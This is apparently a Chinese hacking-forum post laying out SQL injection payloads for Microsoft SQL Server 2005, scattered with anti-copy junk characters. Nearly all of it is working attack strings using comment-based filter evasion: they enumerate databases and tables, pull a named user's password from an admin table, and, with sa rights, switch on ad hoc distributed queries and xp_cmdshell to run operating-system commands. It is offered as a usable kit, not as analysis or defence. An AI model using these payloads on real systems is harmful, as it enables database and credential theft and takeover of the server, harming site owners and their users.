MSsql2005注入语句

admin

% {" u* V8 Z) |9 ^. B1 K0 l; u
8 J  C6 @: Y+ H% V  ?
" V  w: _1 Q2 e8 G- \7 i% W[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
# ]/ D: s7 w5 |% n" j' p
7 J; k  _* P) M8 _$ a. q爆表语句,somedb部份是所要列的数据库，红色数字1累加


( Z" {& J" Q. F+ D) x. A[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
& t4 s7 z, T% _
. T1 v0 P& s2 k爆字段语句，爆表admin里user='icerover'的密码段

% P: i" P3 h' n5 m
; E8 f/ y4 {: W  c[Copy to clipboard]CODE:
/ O3 ~2 i+ T, T. P**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
. X* j/ ~. h" `$ S  D; d
mssql2005默认没有开xp_cmdshell的，openrowset也不能用
, R( _' v# M8 z% Q& b& N如果是sa权限，可以这样来开启
6 j' e6 F' Z% s1 n开启openrowset


; `  M9 d5 V+ {[Copy to clipboard]CODE:
" p1 a$ [! Y, ~6 G5 F/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
4 D6 F0 L0 y3 ]9 S/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
' Z( _- K/ Y8 q* h, T- B% N0 e8 O8 j
开启xp_cmdshell

  S4 G1 g8 }7 \  W* n" K* I; @9 E
[Copy to clipboard]CODE:
7 d: n& c. Z6 OEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
3 A; f( u3 i, E) {3 X9 VEXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
% n$ x& I: _  e. Q  {- y
ok,over~~晚安
& T( B% U. X; |